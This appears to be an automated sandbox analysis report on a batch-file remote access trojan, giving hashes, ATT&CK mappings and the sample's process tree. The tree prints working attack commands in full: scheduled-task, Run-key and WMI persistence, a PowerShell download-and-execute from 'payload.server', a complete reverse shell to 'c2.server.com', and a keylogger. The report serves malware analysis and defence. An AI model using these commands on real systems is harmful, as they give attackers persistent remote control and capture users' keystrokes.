ecbeb810e5ef34ba8727aa0c1d0a20278245e1af66839b50b5fd8bd11e2dcfc9

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 01:46

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General

Target
rat_build_327162_014827.bat
Size 4KB
Sample260529-b6zeqaas21
SHA256 ecbeb810e5ef34ba8727aa0c1d0a20278245e1af66839b50b5fd8bd11e2dcfc9
MD5 6429abb6246a3daa7bec800ebac22cd7
SHA1 6672c15cb34ffaeddf9ed0b30086e274862469a6
SHA512 0424e51dc5db90eca6fc0de8b4d319a1b0e9efa740d874f061d31fa6b430a7a3777ebcf0fb7023caee6944752f90f241a470d7190efb72951cd034a584c097e3
SSDEEP 96:JIiLeWeBdK7iCpIUEsvkV9iHD+fYvd+M6gq5zNXgFhPiFgZk8mvlo1/0:JneBdAiCzAiHDLJ6goNX6iFgkHlm0
TLSH
T1BBA11A1367676020DAB46658DE333C6883ADE5FB1304C5AD7F48CDC04B1DA8782696FB
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_327162.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4360	powershell.exe
4476	powershell.exe
972	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_327162 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_327162.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4204	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
5112	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1740	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3828	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4360	powershell.exe
4360	powershell.exe
4476	powershell.exe
4476	powershell.exe
972	powershell.exe
972	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2728	WMIC.exe
Token: SeSecurityPrivilege	2728	WMIC.exe
Token: SeTakeOwnershipPrivilege	2728	WMIC.exe
Token: SeLoadDriverPrivilege	2728	WMIC.exe
Token: SeSystemProfilePrivilege	2728	WMIC.exe
Token: SeSystemtimePrivilege	2728	WMIC.exe
Token: SeProfSingleProcessPrivilege	2728	WMIC.exe
Token: SeIncBasePriorityPrivilege	2728	WMIC.exe
Token: SeCreatePagefilePrivilege	2728	WMIC.exe
Token: SeBackupPrivilege	2728	WMIC.exe
Token: SeRestorePrivilege	2728	WMIC.exe
Token: SeShutdownPrivilege	2728	WMIC.exe
Token: SeDebugPrivilege	2728	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2728	WMIC.exe
Token: SeRemoteShutdownPrivilege	2728	WMIC.exe
Token: SeUndockPrivilege	2728	WMIC.exe
Token: SeManageVolumePrivilege	2728	WMIC.exe
Token: 33	2728	WMIC.exe
Token: 34	2728	WMIC.exe
Token: 35	2728	WMIC.exe
Token: 36	2728	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2728	WMIC.exe
Token: SeSecurityPrivilege	2728	WMIC.exe
Token: SeTakeOwnershipPrivilege	2728	WMIC.exe
Token: SeLoadDriverPrivilege	2728	WMIC.exe
Token: SeSystemProfilePrivilege	2728	WMIC.exe
Token: SeSystemtimePrivilege	2728	WMIC.exe
Token: SeProfSingleProcessPrivilege	2728	WMIC.exe
Token: SeIncBasePriorityPrivilege	2728	WMIC.exe
Token: SeCreatePagefilePrivilege	2728	WMIC.exe
Token: SeBackupPrivilege	2728	WMIC.exe
Token: SeRestorePrivilege	2728	WMIC.exe
Token: SeShutdownPrivilege	2728	WMIC.exe
Token: SeDebugPrivilege	2728	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2728	WMIC.exe
Token: SeRemoteShutdownPrivilege	2728	WMIC.exe
Token: SeUndockPrivilege	2728	WMIC.exe
Token: SeManageVolumePrivilege	2728	WMIC.exe
Token: 33	2728	WMIC.exe
Token: 34	2728	WMIC.exe
Token: 35	2728	WMIC.exe
Token: 36	2728	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1728	WMIC.exe
Token: SeSecurityPrivilege	1728	WMIC.exe
Token: SeTakeOwnershipPrivilege	1728	WMIC.exe
Token: SeLoadDriverPrivilege	1728	WMIC.exe
Token: SeSystemProfilePrivilege	1728	WMIC.exe
Token: SeSystemtimePrivilege	1728	WMIC.exe
Token: SeProfSingleProcessPrivilege	1728	WMIC.exe
Token: SeIncBasePriorityPrivilege	1728	WMIC.exe
Token: SeCreatePagefilePrivilege	1728	WMIC.exe
Token: SeBackupPrivilege	1728	WMIC.exe
Token: SeRestorePrivilege	1728	WMIC.exe
Token: SeShutdownPrivilege	1728	WMIC.exe
Token: SeDebugPrivilege	1728	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1728	WMIC.exe
Token: SeRemoteShutdownPrivilege	1728	WMIC.exe
Token: SeUndockPrivilege	1728	WMIC.exe
Token: SeManageVolumePrivilege	1728	WMIC.exe
Token: 33	1728	WMIC.exe
Token: 34	1728	WMIC.exe
Token: 35	1728	WMIC.exe
Token: 36	1728	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1728	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4108 wrote to memory of 3828	4108	cmd.exe	86
PID 4108 wrote to memory of 1740	4108	cmd.exe	87
PID 4108 wrote to memory of 2728	4108	cmd.exe	88
PID 4108 wrote to memory of 1728	4108	cmd.exe	89
PID 4108 wrote to memory of 536	4108	cmd.exe	90
PID 4108 wrote to memory of 5112	4108	cmd.exe	105
PID 4108 wrote to memory of 4204	4108	cmd.exe	109
PID 4108 wrote to memory of 4360	4108	cmd.exe	110
PID 4108 wrote to memory of 4476	4108	cmd.exe	112
PID 4108 wrote to memory of 972	4108	cmd.exe	114

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_327162_014827.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4108
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_327162" /tr "C:\Users\Admin\AppData\Local\Temp\_327162.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3828
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_327162" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_327162.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:1740
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_327162", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2728
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_327162", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_327162.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1728
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_327162.txt
  2⤵
  PID:536
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:5112
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:4204
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_327162.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4360
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4476
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:972

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 4978089d3902005ce617d84b34e82270ef2f3abdd146651963ecbe2961301c3e
MD5 379fd74ca68a81d9c154ec43f9922bc4
SHA1 9cf99b0923d3457726dd2ac6891fdbcc44ffe8dc
SHA512 253c7adeae1a6fed6728755cbd7de9cc9302fd73a4cdc7e7df3ae024aa1c0cc65c0c1a4c8f78df38ac3da715cf558452d105fda224705580df09d0f6aa3b8ca9
TLSH
T124117627F39CC921CC96163A409DAC1172B683DB81AEDF9F6FC4D614A07F984CB712A4
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 8c54d4148a9e2a3b524f471f99aa3d48778239ae494908b544ef8f014d7d0eee
MD5 5ed3bd9bc72e312aadc7571ad8786379
SHA1 c6cc90bf1250e7ec5cd7680a9689940cec6398da
SHA512 d020f76b71142f58c990f62354c568d9cee901a2e808d11d4e6d439aa3ffc36f070d613e3bd9522aaa1d44d3288c91c89fcf911600fdad9e96d3900c12941c47
TLSH
T18E115727B39C89A1CC96153A409D9C1172B683D7409EDEDF6BC0D214A17F584CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_3v1bg5b1.402.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3v1bg5b1.402.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4360-5-0x000001BC7C9D0000-0x000001BC7C9F2000-memory.dmp

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